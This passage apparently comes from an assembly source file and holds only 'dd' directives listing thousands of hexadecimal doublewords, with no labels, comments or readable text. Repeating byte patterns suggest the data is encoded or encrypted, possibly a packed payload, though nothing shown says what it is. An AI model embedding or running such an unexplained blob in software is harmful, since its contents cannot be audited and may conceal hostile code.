0BD308963h, 0B83F8C9Dh, 0F48C95AFh, 8C8D133Dh dd 63128774h, 0A963CC63h, 8C8D1E0Ch, 0BD308963h, 0A83F8C9Dh dd 0F48C8DECh, 8C8D130Dh, 63116374h, 88581F63h, 0CA963CCh dd 638C8D1Eh, 9DBD3089h, 0EDC83F8Ch, 5FC38C8Dh, 131FF4CBh dd 41748C8Dh, 0C5636311h, 48963CCh, 3F8C9DB9h, 8C8D1E18h dd 8D1DAC3Dh, 8923938Ch, 8C8D1EBCh, 741F4C9Dh, 1899A598h dd 0E98C8D1Eh, 13E9F48Bh, 31748C8Dh, 0C5636311h, 848963CCh dd 3F8C99AFh, 8C8D1E18h, 8D13F4F4h, 110A748Ch, 74CC6363h dd 636311E4h, 9C6C983Fh, 13C8F48Ch, 1D748C8Dh, 0CC636311h dd 6311FF74h, 9C843F63h, 0DAF48C9Dh, 748C8D13h, 636311F0h dd 11D274CCh, 0C43F6363h, 0F48C8DC6h, 8C8D13B3h, 6311CB74h dd 0A574CC63h, 3F636311h, 8C9DB938h, 8D1382F4h, 11DE748Ch dd 74CC6363h, 636311B8h, 8DC6CC3Fh, 1393F48Ch, 0B1748C8Dh dd 0CC636311h, 63119374h, 0AAD43F63h, 61F48C95h, 748C8D12h dd 63631184h, 106674CCh, 0C3F6363h, 0F48C9DBCh, 8C8D1271h dd 63119F74h, 7974CC63h, 3F636310h, 8C9C6C84h, 8D1240F4h dd 1072748Ch, 74CC6363h, 6363104Ch, 9D934C3Fh, 1254F48Ch dd 45748C8Dh, 0CC636310h, 63102774h, 0C09C3F63h, 2AF48C8Dh dd 748C8D12h, 63631058h, 103A74CCh, 543F6363h, 0F48C9DB9h dd 8C8D1239h, 63103374h, 0D74CC63h, 3F636310h, 8C99AD74h dd 8D1213F4h, 1006748Ch, 74CC6363h, 636310E0h, 9D9C8C3Fh dd 12E2F48Ch, 19748C8Dh, 0CC636310h, 6310FB74h, 0C6AC3F63h dd 0F0F48C91h, 748C8D12h, 636310ECh, 10CE74CCh, 303F6363h dd 0F48C9DB9h, 8C8D12C5h, 6310C774h, 0A174CC63h, 3F636310h dd 8C95D6A0h, 8D12D1F4h, 10DA748Ch, 74CC6363h, 636310B4h dd 99B5603Fh, 12A2F48Ch, 0AD748C8Dh, 0CC636310h, 63108F74h dd 0C6A43F63h, 0B7F48C91h, 748C8D12h, 63631080h, 176274CCh dd 603F6363h, 0F48C95C5h, 8C8D1283h, 63109B74h, 7574CC63h dd 3F636317h, 8C95C564h, 8D1291F4h, 176E748Ch, 74CC6363h dd 63631748h, 8DC6C83Fh, 1167F48Ch, 41748C8Dh, 0CC636317h dd 63172374h, 0ECA43F63h, 75F48C8Dh, 748C8D11h, 63631754h dd 173674CCh, 843F6363h, 0F48C95C6h, 8C8D1147h, 63172F74h dd 974CC63h, 1D636317h, 9C9C5C58h, 9C9C3F9Ch, 5FC38C9Dh dd 17CBCACFh, 178CB8E8h, 1588B8E0h, 4F6F1565h, 8923937Fh dd 8C8D1D20h, 0B8912393h, 118C8D1Eh, 158596C8h, 1565B54Dh dd 95744F6Ch, 0C344155Fh, 0C95FC7C2h, 701F7915h, 0CBCACF90h dd 1590D917h, 63541F5Dh, 9DA01CDCh, 1565E99Ch, 1C343D5Ah dd 741F8C8Dh, 64D91594h, 1194D917h, 63541F94h, 9DA01CDCh dd 1565E99Ch, 0CC3D68D9h, 1F8C8D1Eh, 0D9159E74h, 3DCE7760h dd 8C8D1C5Ch, 0C8892393h, 158C8D1Eh, 1F4F9D5Fh, 0A1179577h dd 8C8D1D04h, 779F731Fh, 9F6415B1h, 0C91760D9h, 98229394h dd 90C9179Eh, 0A6882293h, 86E94CA5h, 0E96FA5DFh, 64D9638Ch dd 0A58CD917h, 99E964D9h, 7760D917h, 6BA5DB89h, 0D96353EEh dd 68D91760h, 0EE60D9A5h, 6363243Ah, 0C2C39C9Ch, 0C95F55C7h dd 0CCCD7915h, 17CBCACFh, 0E91790C1h, 1F44158Ch, 9F259E5Ch dd 269C9C9Ch, 36363637h, 764D7E6Bh, 1560C915h, 9E7B5D4Bh dd 0D688C917h, 9BEA4BA5h, 9D755CADh, 0F49C9C9Dh, 8C8D110Bh dd 63161F74h, 0F4CCC563h, 8C8DECDCh, 9CCBE374h, 0CAA9779Ch dd 7494E963h, 9C9CDE9Dh, 9394581Fh, 1E909923h, 0E8118C8Dh dd 0C43D98ACh, 1F8C8D1Dh, 5FB59E5Ch, 8D1D683Dh, 0B4999F8Ch dd 1F8C8D1Dh, 0D99F9574h, 94D91594h, 0C8992393h, 1F8C8D1Eh dd 5FA59974h, 239321EFh, 8D1DB099h, 4999F8Ch, 1F8C8D1Dh dd 5FA59474h, 9FF6E7EAh, 8D1D743Dh, 7C999F8Ch, 1F8C8D1Ch dd 11CC9474h, 63CC65D9h, 95D6A889h, 0E963CF8Ch, 65D91194h dd 888963CCh, 0CA8C95D5h, 0CC65D911h, 9CDD1C74h, 0BC581F9Ch dd 8D1ED83Dh, 8923938Ch, 8C8D1DDCh, 741F4C9Dh, 9A985A95h dd 992393A1h, 8C8D1C50h, 0A598741Fh, 938BE944h, 1E8C9923h dd 23938C8Dh, 8D1EBC89h, 1F4C9D8Ch, 985A9E74h, 7C3DA19Ah dd 1F8C8D1Dh, 0A8119974h, 9923939Ah, 8C8D1DBCh, 179F741Fh dd 8D1C5C89h, 8814D68Ch, 0DC5CAD9Ah, 55C7C2C3h, 7915C95Fh dd 17CBCACFh, 0C1178CE9h, 7763AD88h, 218817B8h, 8C9DB57Ch dd 6C948915h, 0E9638C9Ch, 8519F484h, 0CACF8C9Ch, 6390E963h dd 896394E9h, 8C9C6C94h, 20A1A7DBh, 0EE8C8D1Eh, 0C7C2C348h dd 1FF45FC1h, 748C8D11h, 636315A0h, 494074CCh, 43F6363h dd 0F48C9DB9h, 8C8D11E8h, 6315BB74h, 5B74CC63h, 3F636349h dd 8C95D6D4h, 8D11F8F4h, 158E748Ch, 74CC6363h, 6363492Eh dd 99AF843Fh, 11CAF48Ch, 61748C8Dh, 0CC636314h, 63490174h dd 0BC581F63h, 95D6A43Fh, 15C95F8Ch, 6CA42479h, 55749C9Eh dd 0CF9C9CC9h, 2393CBCAh, 8D1D1CA1h, 54A19F8Ch, 0F58C8D1Ch dd 9C9F5C63h, 0D4A9179Ch, 1D8C8D1Eh, 9C76C55Ah, 8123939Ch dd 8C8D1DC0h, 6B9D429Dh, 21157B4Dh, 63619354h, 0C98F74CBh dd 581F9C9Ch, 4A191598h, 93636393h, 9394D92Ah, 1D1C8923h dd 0A5D68C8Dh, 0F4BFE94Ch, 8C8D11D7h, 63141F74h, 98581F63h dd 402111CCh, 0CB63638Dh, 0C6B48963h, 581F8C91h, 9D237594h dd 89639C9Ch, 8C99AE6Ch, 1145F15h, 63639349h, 8D11B5F4h dd 14CE748Ch, 581F6363h, 2111CC98h, 63639342h, 388963CBh dd 1F8C9DBDh, 0C43D9458h, 0DC8C8D1Eh, 94C92A93h, 0C6E94CA5h dd 8D1D183Dh, 0E8999F8Ch, 1F8C8D1Dh, 63B99E74h, 0CC9C9C9Ch dd 8C411911h, 63CC6363h, 75748CE9h, 1F9C9CB8h, 89F49058h dd 748C8D11h, 6363149Ch, 9398581Fh, 9349212Ah, 11CB6363h dd 638C4121h, 2111CB63h, 63639342h, 2111CCCBh, 63638D40h dd 0B48963CBh, 1F8C91C6h, 2A938858h, 891794D9h, 8C8D1D84h dd 1D6C899Fh, 761F8C8Dh, 934CA58Eh, 9C9D8C19h, 1C743D9Ch dd 741F8C8Dh, 9C63B99Bh, 11CC9C9Ch, 638C4119h, 0A963CC63h dd 8C8D1E40h, 9CB8EB74h, 90581F9Ch, 8D1052F4h, 1B12748Ch dd 581F6363h, 0BCE11798h, 158CE917h, 0CF6F9D67h, 0B4812393h dd 1F8C8D1Eh, 63CF9F5Fh, 63CBB8E9h, 2A9380E9h, 63934921h dd 6B15CB63h, 1788E1B7h, 8D1DB4A9h, 6CA99F8Ch, 1F8C8D1Dh dd 6BB59072h, 0AF9CF4CBh, 0E9638C99h, 0B4E96384h, 8C412111h dd 11CB6363h, 63934221h, 11CCCB63h, 638D4021h, 8963CB63h dd 8C91C6B4h, 3DA4581Fh, 8C8D1DB4h, 0B4892393h, 9D8C8D1Eh dd 90741F4Ch, 0E984D9A5h, 1C643DF8h, 999F8C8Dh, 8C8D1C4Ch dd 0A594741Fh, 0CDE9BCD9h, 8D1036F4h, 1A6E748Ch, 581F6363h dd 0C08CF498h, 0A9638C8Dh, 8C8D1C38h, 11B4E963h, 638C4121h dd 2111CB63h, 63639342h, 2111CCCBh, 63619351h, 0B48963CBh dd 1F8C91C6h, 19118058h, 63619351h, 401911CCh, 0CC63638Dh dd 6CB08963h, 581F8C9Ch, 54296394h, 63636193h, 63934A29h dd 1EC43D63h, 446B8C8Dh, 401911CCh, 0CC63638Dh, 8D1DA43Dh dd 9F741F8Ch, 639CF6CCh, 91C6A889h, 100CF48Ch, 22748C8Dh dd 1F636314h, 63CC9858h, 9D9C9089h, 4C19158Ch, 63636393h dd 63934A29h, 90896363h, 158C9D9Ch, 63935019h, 2963CC63h dd 6363934Ch, 0CC90D917h dd 0F638417h, 9C9C9D98h, 93502963h, 89636363h, 8C8DECA8h dd 934C2963h, 89636363h, 8C8DECA8h, 93203911h, 0C2C36361h dd 0C95F55C7h, 701F7915h, 0CBCACF8Ch, 0CC60D911h, 7494E963h dd 63632041h, 1594581Fh, 9923935Ah, 8C8D1D20h, 0F4892393h dd 9D8C8D1Dh, 95741F4Ch, 9BE95AA5h, 2F755CADh, 179C9C9Ch dd 8D1DE8A1h, 9F5B1F8Ch, 1590D917h, 63541F5Dh, 9DA01CDCh dd 1565E99Ch, 901164D9h, 63541FA2h, 9DA01CDCh, 1565E99Ch dd 8CC1B75Fh, 0E964C1A7h, 6CD95BC4h, 9C9C9C9Dh, 8C992393h dd 938C8D1Dh, 1C088923h, 4C9D8C8Dh, 1598741Fh, 0BE7768D9h dd 1568D917h, 8CC99F66h, 2A935E9Dh, 0D1178A88h, 98229390h dd 0E85EA59Dh, 6CF91F9Ah, 6394779Ch, 0C1A568D9h, 1F45EE68h dd 0E89C6CE1h, 8963CA90h, 8C9DB950h, 77DC5CADh, 93439DB5h dd 1C3C9923h, 999F8C8Dh, 8C8D1ED0h, 9D9B741Fh, 8CE19F5Bh dd 9360E1A7h, 6363ED1Eh, 8963CA63h, 8C9DB950h, 0C2C35CADh dd 0C95F55C7h, 23937915h, 8D1EFC99h, 95741F8Ch, 0CE69F4CCh dd 683D8C9Ch, 1F8C8D1Ch, 63CC9E74h, 9D9C8C89h, 9923938Ch dd 8C8D1D14h, 0CC99741Fh, 0C6B88963h, 77C58C91h, 985EC151h dd 7915C99Ch, 9880701Dh, 0CACF9C9Ch, 1C543DCBh, 5A158C8Dh dd 1D00A99Fh, 721F8C8Dh, 1785779Bh, 8D1ED889h, 0D0899F8Ch dd 1F8C8D1Eh, 466B9776h, 9C290815h, 0DA636360h, 8D1EA43Dh dd 9C6B998Ch, 5AA59C9Ch, 0C11745EEh, 99239390h, 8C8D1D8Ch dd 641915D4h, 17636367h, 8D1D4889h, 815E1F8Ch, 1EA4899Fh dd 23938C8Dh, 8D1D3091h, 1C483D8Ch, 0D0118C8Dh, 1015AE9Dh dd 63609C09h, 8CD91763h, 1915449Dh, 63636760h, 0C0892393h dd 938C8D1Dh, 1EF49123h, 0C8118C8Dh, 2393B996h, 8D1D9891h dd 9923938Ch, 8C8D1EDCh, 0A49DD011h, 9C091015h, 93636360h dd 1EBC9923h, 5B158C8Dh, 1D9CA19Fh, 77D38C8Dh, 892393AAh dd 8C8D1DD8h, 0DCA6C811h, 9C092015h, 93636360h, 1DBC8923h dd 5E1F8C8Dh, 9D6515C2h, 8923934Dh, 8C8D1DC0h, 158B5E1Fh dd 154C9D64h, 609C1118h, 3DDB6363h, 8C8D1D9Ch, 9F865C1Fh dd 8D1C2099h, 0EE5BA58Ch, 1EC43D24h, 999F8C8Dh, 8C8D1C00h dd 1594741Fh, 63676819h, 0CCA11763h, 1F8C8D1Dh, 8277B05Bh dd 1C408917h, 23938C8Dh, 8D1D0891h, 1F569D8Ch, 65159676h dd 10154D9Dh, 63609C21h, 6C3DDB63h, 1F8C8D1Dh, 5BA5AD5Ch dd 43D4AEEh, 158C8D1Dh, 48A99F5Ah, 1F8C8D1Ch, 0E1179672h dd 9DAA7594h, 22939C9Ch, 9E7E5D8Bh, 9C892817h, 3D636360h dd 8C8D1DACh, 6B9E741Fh, 935AA544h, 9C9D8A18h, 6419179Ch dd 95636367h, 9E10935Ch, 1F9C9C9Dh, 13939F64h, 9C9C9C65h dd 0B819B863h, 638C8D18h, 63676419h, 9C7B7563h, 9179C9Ch dd 63636768h, 1E9C9117h, 15D58C8Dh, 157C4F4Ch, 63677419h dd 1F6E1563h, 9117AC7Eh, 8C8D1D4Ch, 1D88919Fh, 15D58C8Dh dd 17644F4Ch, 63677409h, 145E9563h, 63676F09h, 64196363h dd 15636367h, 916DF44h, 6363676Fh, 0A758C14h, 179C9C9Ch dd 63676809h, 937E1F63h, 1D749117h, 751F8C8Dh, 4F4C159Fh dd 7819157Ch, 15636367h, 0A07E1F6Eh, 58912393h, 9F8C8D1Dh dd 8D1D4891h, 92751F8Ch, 644F4C15h, 67780917h, 5E956363h dd 676F0914h, 19636363h, 63636764h, 16DF4415h, 63676F09h dd 778C1463h, 680917DCh, 1F636367h, 23939F7Eh, 8D1D5091h dd 4F4C158Ch, 955E157Ch, 6F09146Eh, 15636367h, 916DF44h dd 6363676Fh, 643D8C14h, 938C8D1Dh, 1C6C8923h, 4C9D8C8Dh dd 1596741Fh, 63676419h, 68291563h, 0DB636367h, 0E89CA31Ch dd 6001A790h, 93636367h, 6362251Eh, 9B229363h, 1D248917h dd 761F8C8Dh, 0E94CA59Bh, 0B744159Bh, 9B7790D9h, 8D1E843Dh dd 0C3446B8Ch, 5F55C7C2h, 1D7915C9h, 9C98D470h, 0CBCACF9Ch dd 60231911h, 93CC6363h, 1EE89923h, 999F8C8Dh, 8C8D1D84h dd 0CC96741Fh, 8D1DCC3Dh, 0C0999F8Ch, 1F8C8D1Eh, 0F6CC9574h dd 99239380h, 8C8D1D70h, 14892393h, 9D8C8D1Dh, 94741F4Ch dd 9C8963CCh, 118C99B6h, 63602319h, 1911CC63h, 63636727h dd 388963CCh, 0F48C9DBDh, 8C8D101Eh, 631D3374h, 911CC63h dd 63636727h, 0B08963CEh, 1F8C9C6Ch, 19118858h, 6363625Eh dd 271911CCh, 0CC636367h, 0AFB48963h, 5F158C95h, 8D1C003Dh dd 695C1F8Ch, 1DA4999Fh, 44A58C8Dh, 9C591893h, 19119C9Ch dd 63636272h, 231911CCh, 0CC636360h, 636EA074h, 94581F63h dd 11DA6AADh, 63625E19h, 63CFCC63h, 9D935489h, 955A158Ch dd 0CF95E96Ah, 0B9208963h, 86778C9Dh, 62721911h, 11CC6363h dd 63602319h, 9A74CC63h, 1F63636Eh, 6A959458h, 283D55E9h dd 938C8D1Ch, 1C788923h, 4C9D8C8Dh, 88892393h, 1F8C8D1Eh dd 88149F76h, 8DC09099h, 1D443D8Ch, 5B158C8Dh, 1DCCA19Fh dd 731F8C8Dh, 0F4A07797h, 8C8D10E4h, 631C7B74h, 21A86363h dd 8C95C6BCh, 0BC21A863h, 0CC8C99AFh, 615F0911h, 63CE6363h dd 91C6B489h, 5F19118Ch, 0CC636361h, 8DC08CF4h, 0B089638Ch dd 1F8C9C6Ch, 0A7DB8058h, 8D1E20A1h, 0C320EE8Ch, 5F55C7C2h dd 747915C9h, 63631D6Eh, 8D1E983Dh, 4824998Ch, 23939C9Dh dd 8D1D2089h, 0CC4C9D8Ch, 0C6B88963h, 77C58C91h, 985EC142h dd 2393CB9Ch, 8D1D1CA1h, 9E731F8Ch, 23938477h, 8D1D5899h dd 10999F8Ch, 1F8C8D1Dh, 98149B74h, 8DEDDCA1h, 2393DB8Ch dd 8D1D1C99h, 925C1F8Ch, 46EE5BA5h, 8D1D403Dh, 0AC89178Ch dd 1D8C8D1Eh, 9C9C2E5Eh, 145E9D9Ch, 0EDA39988h, 23938C8Dh dd 8D1EBC99h, 8923938Ch, 8C8D1C50h, 1C4C9117h, 0C8118C8Dh dd 8814A196h, 8DEDD299h, 0C95FC38Ch, 701F7915h, 17CBCA90h dd 0AEF494E1h, 0FB8C9C51h, 9CAA63F8h, 15F8FB9Ch, 0F49C9CBAh dd 8C8D10ECh, 63E37774h, 0CCAB6363h, 0CA6AE911h, 0C6B48963h dd 581F8C91h, 639CF68Ch, 6AD911ABh, 0D42B74CCh, 23939C9Ch dd 8D1E9099h, 9C999F8Ch, 0CC8C8D1Dh, 0C6B88963h, 581F8C91h dd 0C346778Ch, 985E55C2h, 7915C99Ch, 9C8C9C24h, 0D016749Ch dd 0CACF9C9Ch, 1D183DCBh, 999F8C8Dh, 8C8D1DACh, 0CC97741Fh dd 6C9D1911h, 74CC6363h, 63630F66h, 3D94581Fh, 8C8D1D64h dd 0A19F5B15h, 8C8D1D5Ch, 779B731Fh, 0A1201C80h, 63636C9Dh dd 938DE9BFh, 1C089923h, 741F8C8Dh, 0A118149Fh, 63636C9Dh dd 63631DDBh, 0EE9C9C93h, 9D291140h, 0F463636Ch, 8C8D10F0h dd 63E3A774h, 937CF463h, 23938C9Dh, 8D1EA881h, 98771F8Ch dd 6C8117CFh, 1F8C8D1Dh, 0CCCF9577h, 1DE48117h, 771F8C8Dh dd 8117CF9Fh, 8C8D1DD4h, 1C60819Fh, 771F8C8Dh, 63CACF95h dd 811794E9h, 8C8D1DB4h, 1D99771Fh, 9C9C637Fh, 6374CF9Ch dd 1F636369h, 6D15B458h, 0DC63541Fh, 9C9DA01Ch, 891765E9h dd 8C8D1DE8h, 1DE0899Fh, 761F8C8Dh, 115E9D99h, 43D8AA8h dd 1F8C8D1Dh, 22939F74h, 89179A98h, 8C8D1D90h, 0A595761Fh dd 0F419934Ch, 0C3636363h, 5F55C7C2h, 0CD7915C9h, 17CBCACFh dd 0D91794E9h, 0D915FA84h, 99239384h, 8C8D1EFCh, 4C99A5DCh dd 0EF8C9DB9h, 1D6C3D91h, 741F8C8Dh, 0B94C3F95h, 0A1178C9Dh dd 8C8D1D74h, 779B731Fh, 21801190h, 8C9D8C7Ch, 8DE86FA5h dd 992393DBh, 8C8D1E8Ch, 9C9F7999h, 0EE5BA59Ch, 1DF83D78h dd 74998C8Dh, 0A59C9C9Fh dd 0AD9BE964h, 9D15755Ch, 0A9179C9Ch, 8C8D1E94h, 1C48A99Fh dd 721F8C8Dh, 802B9394h, 99B68CE1h, 0E942A58Ch, 982A93ACh dd 9DBD2CA1h, 0A863CC8Ch, 9D9CBC21h, 0B488748Ch, 581F9C9Ch dd 0A9239394h, 8C8D1C08h, 159F721Fh, 8C7C21A8h, 5CAD8C9Dh dd 9C9DA275h, 0B4A9179Ch, 1D8C8D1Dh, 9C636B5Ah, 8123939Ch dd 8C8D1C2Ch, 2B93429Dh, 0B68CE180h, 42A58C99h, 9C6F1993h dd 23939C9Ch, 8D1EB899h, 94999F8Ch, 1F8C8D1Dh, 0D9159874h dd 9C587560h, 0E9179C9Ch, 802B9360h, 99B68CE9h, 4089178Ch dd 1D8C8D1Ch, 9C636F5Eh, 0D0899F9Ch, 0A58C8D1Eh, 18934Fh dd 159C9C9Ch, 9E7F5D6Fh, 0BC218817h, 0A58C9D9Ch, 9CBC8188h dd 19938C9Dh, 9C9C9C1Fh, 1DA08917h, 23938C8Dh, 8D1D5891h dd 1F569D8Ch, 88A58C76h, 9D8C7C81h, 16F4E88Ch, 0BD2CA980h dd 80A68C9Dh, 9DBD2CA1h, 93C4E98Ch, 8CE9A82Bh, 938C99B6h dd 1EA08123h, 23938C8Dh, 8D1DF489h, 1F4F9D8Ch, 42A59A77h dd 0A917B6E9h, 8C8D1D9Ch, 7C21A815h, 178C9D8Ch, 2A9360E9h dd 0BD2CA980h, 63CF8C9Dh, 9CBC29A8h, 93748C9Dh, 1F9C9CBBh dd 0B9779458h, 1160E917h, 0B68CE9A8h, 63FA8C99h, 638A7792h dd 243D60D9h, 998C8D1Dh, 9C9C9F7Dh, 9360D9A5h, 6363B51Eh dd 775CAD63h, 0A82B93BAh, 99B68CE1h, 8123938Ch, 8C8D1D34h dd 1DB8819Fh, 771F8C8Dh, 0E242A594h, 9063FA94h, 99B68CE1h dd 0C35CAD8Ch, 5E55C7C2h, 15C99CB8h, 99239379h, 8C8D1DDCh dd 0A599741Fh, 8DF08899h, 0F497EA8Ch, 8C8DF088h, 6C888963h dd 883D8C9Ch, 0C18C8DF0h, 0C99C985Eh, 90247915h, 749C9B83h dd 9C9CD5FCh, 11CBCACFh, 676D1C19h, 8963CC63h, 8C9C6CD4h dd 6DF01911h, 11CC6367h, 676D1C19h, 95F6CC63h, 8D1DB83Dh dd 95741F8Ch, 94E963CCh, 0AFB88963h, 5F158C95h, 8D1DC83Dh dd 58999F8Ch, 1F8C8D1Ch, 5FA58C74h, 92891993h, 19179C9Ch dd 63676D14h, 6D001915h, 23936367h, 8D1C3C91h, 9B751F8Ch dd 6D3C1115h, 11116367h, 63676D3Ch, 638F4CDh, 19178C8Dh dd 63676D00h, 63A417CCh, 9C9CA188h, 5F159C9Ch, 8D1D883Dh dd 8923938Ch, 8C8D1D98h, 741F4C9Dh, 9344A59Bh, 9C915E19h dd 0E019119Ch, 0CC63676Dh, 6D3C1917h, 17CC6367h, 0E4CB63A4h dd 0A43D5F15h, 9F8C8D1Dh, 8D1D4C99h, 9A741F8Ch, 19935FA5h dd 9C9C9117h, 6D351911h, 63CC6367h, 676DE029h, 0BBA97463h dd 581F9C9Ch, 0E0296394h, 6363676Dh, 8DECA889h, 1EA43D8Ch dd 89178C8Dh, 8C8D1DD4h, 201C5E9Dh, 676D0789h, 0A6E9E863h dd 6C892393h, 9F8C8D1Ch, 8D1C5489h, 89201C8Ch, 63676D3Bh dd 9FBFE9E8h, 8D1D9499h, 99201C8Ch, 63676D3Dh, 3D8FE9ECh dd 8C8D1D18h, 5E9D5E15h, 589201Ch, 0F463676Dh, 887599E8h dd 119C9C91h, 606D2819h, 1917CC63h, 63676D3Ch, 63A417CCh dd 9C9C080Bh, 935F159Ch, 1D8C9923h, 23938C8Dh, 8D1D7089h dd 1F4C9D8Ch, 5FA59874h, 0B43D88E8h, 9F8C8D1Dh, 8D1D3C99h dd 9B741F8Ch, 6D281915h, 19116360h, 63676D04h, 3C1917CCh dd 0CC63676Dh, 0CB63A417h, 3D5F15D4h, 8C8D1DD0h, 0A59A741Fh dd 3019935Fh, 119C9C90h, 676D0819h, 0A8F4CC63h, 178C8D06h dd 676D0419h, 0A417CC63h, 9CA18863h, 159C9C9Ch, 1C0C3D5Fh dd 23938C8Dh, 8D1D5089h, 1F4C9D8Ch, 44A59B74h, 90F51993h dd 19119C9Ch, 63676D0Ch, 81917CCh, 0CC63676Dh, 0CB63A417h dd 3D5F15C0h, 8C8D1C74h, 0A59B741Fh, 0A419935Fh, 119C9C90h dd 676DEC19h, 1917CC63h, 63676D0Ch, 63A417CCh, 5F15BCCBh dd 8D1D683Dh, 99741F8Ch, 19935FA5h, 9C9C909Bh, 8D10C0F4h dd 0E013748Ch, 63CC6363h, 9D9C9089h, 2019158Ch, 3D63606Dh dd 8C8D1D5Ch, 1DE8999Fh, 446B8C8Dh, 6D381915h, 0D4F46367h dd 748C8D10h, 6363E0F9h, 908963CCh, 158C9D9Ch, 606D2419h dd 1C683D63h, 185A8C8Dh, 606E2299h, 183DD863h, 9F8C8D1Dh dd 8D1EA499h, 2089178Ch, 9F8C8D1Ch, 8D1ED089h, 99761F8Ch dd 2D990814h, 9363606Eh, 1EA09923h, 999F8C8Dh, 8C8D1D90h dd 2999185Ah, 0E063606Eh, 6D351911h, 11CC6367h, 606E5C19h dd 8963CC63h, 8C9C6CB0h, 938C581Fh, 1E889923h, 741F8C8Dh dd 0E419159Fh, 9363676Dh, 1DD89923h, 999F8C8Dh, 8C8D1DE4h dd 1598741Fh, 676DE819h, 1C203D63h, 999F8C8Dh, 8C8D1D04h dd 6B9E741Fh, 3819A544h, 0E963676Dh, 301911CCh, 0CC63606Dh dd 6D081917h, 17CC6367h, 0A4CB63A4h, 23935F15h, 8D1EFC99h dd 8923938Ch, 8C8D1EDCh, 741F4C9Dh, 9344A596h, 9C965C19h dd 10ABF49Ch, 0A1748C8Dh, 0CC6363E5h, 6E5C2111h, 63CB6360h dd 9C6CB089h, 90581F8Ch, 9C9D8575h, 195BFA9Ch, 63676DD4h dd 19179C8Bh, 63676D38h, 6DCC1915h, 19116367h, 63676DC4h dd 0D41911CCh, 0CC63676Dh, 6D0C1917h, 17CC6367h, 80CA63ACh dd 6DE41911h, 0F4CC6367h, 8C8D0618h, 6DFC2963h, 21176367h dd 63676DFCh, 8863A317h, 9C9C9CA1h, 3D5F159Ch, 8C8D1E80h dd 1D40999Fh, 741F8C8Dh, 9344A595h, 9C96A419h, 0E819119Ch dd 0CC63676Dh, 6DE41917h, 17CC6367h, 4C0B63A4h, 159C9C9Ch dd 1D183D5Fh, 741F8C8Dh, 0E85FA594h, 0E419178Dh, 0CC63676Dh dd 0CA63AC17h, 969F7594h, 19119C9Ch, 63606D30h, 0E81917CCh dd 0CC63676Dh, 0CB63A417h, 3D5F15A4h, 8C8D1D44h, 44892393h dd 9D8C8D1Ch, 8C741F4Ch, 81E85FA5h, 6DE81917h, 17CC6367h dd 94CA63ACh, 6DE41917h, 17CC6367h, 94CA63ACh, 9C952075h dd 10B4F49Ch, 0A5748C8Dh, 636363E4h, 676D3829h, 2111CC63h dd 63606D5Dh, 0B48963CBh, 118C91C6h, 606D5D19h, 1911CC63h dd 63606E5Ch, 0B08963CCh, 1F8C9C6Ch, 19118458h, 63606D34h dd 301917CCh, 0CC63606Dh, 0CB63A417h, 935F15B8h, 1D709923h dd 999F8C8Dh, 8C8D1D10h, 0A59F741Fh, 0C619935Fh, 3D9C9C95h dd 8C8D1DA0h, 1C5C999Fh, 741F8C8Dh, 2C191596h, 7563606Dh dd 9C9C95B3h, 6D2C1917h, 19156360h, 63656DA4h, 0AC195BFAh dd 9E63656Dh, 1ED03D9Ch, 89178C8Dh, 8C8D1DB8h, 1495761Fh dd 6DF89908h, 19116366h, 63656DD8h, 0AC2911CCh, 1F63656Dh dd 7B158C70h, 9C9C9825h, 11396F9Ch, 656DAC29h, 8C701F63h dd 98257B15h, 6F9C9C9Ch, 30211739h, 0CB63606Dh, 0CB63A317h dd 3D5F15B0h, 8C8D1C54h, 0F4892393h, 9D8C8D1Eh, 9F741F4Ch dd 19935FA5h, 9C9C9431h, 8D1086F4h, 0EBDE748Ch, 29636363h dd 63606D2Ch, 5D2111CCh, 0CB63606Dh, 0C6B48963h, 19118C91h dd 63606D5Dh, 5C1911CCh, 0CC63606Eh, 6CB08963h, 581F8C9Ch dd 1D603D84h, 19158C8Dh, 63656DB0h, 6DB01911h, 0F4CC6365h dd 8C8D06C8h, 6DD81917h, 17CC6365h, 0A18863A4h, 9C9C9C9Ch dd 23935F15h, 8D1C7099h, 0F8999F8Ch, 0A58C8D1Dh, 3419935Fh dd 119C9C98h, 656DB419h, 1917CC63h, 63656DB0h, 63A417CCh dd 9C9C6C0Bh, 935F159Ch, 1D809923h, 23938C8Dh, 8D1C0889h dd 1F4C9D8Ch, 44A59F74h, 98F51993h, 19119C9Ch, 63656DF9h dd 0B42963CCh, 7463656Dh, 9C9CBEB7h, 1594581Fh, 2115DB5Bh dd 63656DD0h, 6DB42963h, 89636365h, 8C8DECA8h, 8D1D443Dh dd 58999F8Ch, 1F8C8D1Ch, 19158C74h, 63676DF4h, 1917D977h dd 63676DF4h, 99182293h, 63656DF9h, 1E9C8917h, 5E1F8C8Dh dd 0E84CA596h, 89239392h dd 8C8D1DB0h, 0A5995E1Fh, 178AE94Ch, 676DF419h, 88891763h dd 1F8C8D1Dh, 8149E76h, 656DF999h, 0F4196363h, 1763676Dh dd 656DD019h, 0F419A563h, 0EE63676Dh, 0F9191131h, 0CC63656Dh dd 6DF51911h, 74CC6366h, 9C9CDF94h, 8D1DE83Dh, 1915D48Ch dd 63676DF4h, 6DF41917h, 10116367h, 656DF999h, 63541F63h dd 9DA01CDCh, 1565E99Ch, 656DC019h, 89239363h, 8C8D1C78h dd 80912393h, 118C8D1Dh, 9C549608h, 4CA59C9Ch, 891791EBh dd 8C8D1C04h, 0A59E761Fh, 7599E94Ch, 9C9C9C52h, 44992393h dd 1F8C8D1Ch, 19159574h, 63656DFCh, 1917B377h, 63656DFCh dd 6DF4199Fh, 22936367h, 6DF99918h, 23936365h, 8D1EB889h dd 1091178Ch, 118C8D1Dh, 0A58296C8h, 6388E94Ch, 656DFC19h dd 0C0191763h, 0A563656Dh, 656DFC19h, 175FEE63h, 656DC019h dd 0FC19A563h, 0E863656Dh, 7CA963EDh, 178C8D1Ch, 676DF419h dd 99181163h, 63656DF9h, 0F51911CCh, 0CC63666Dh, 63755E74h dd 90581F63h, 6DB81915h, 0E83D6365h, 998C8D1Dh, 9C9C6362h dd 6DB819A5h, 0AAE96365h, 8D1089F4h, 0E996748Ch, 11CC6363h dd 666DF521h, 8963CB63h, 8C9C6CB0h, 6DF41917h, 18116367h dd 656DF999h, 1911CC63h, 63666DF5h, 0B08963CCh, 1F8C9C6Ch dd 23938858h, 8D1D5099h, 99741F8Ch, 6DC0199Fh, 199D6365h dd 63676DF4h, 6DD01917h, 19A56365h, 63676DF4h, 625E1E93h dd 3C3D6363h, 158C8D1Dh, 656DCC19h, 0F5111163h, 1F63666Dh dd 1CDC6354h, 0E99C9DA0h, 0C0191565h, 3D63656Dh, 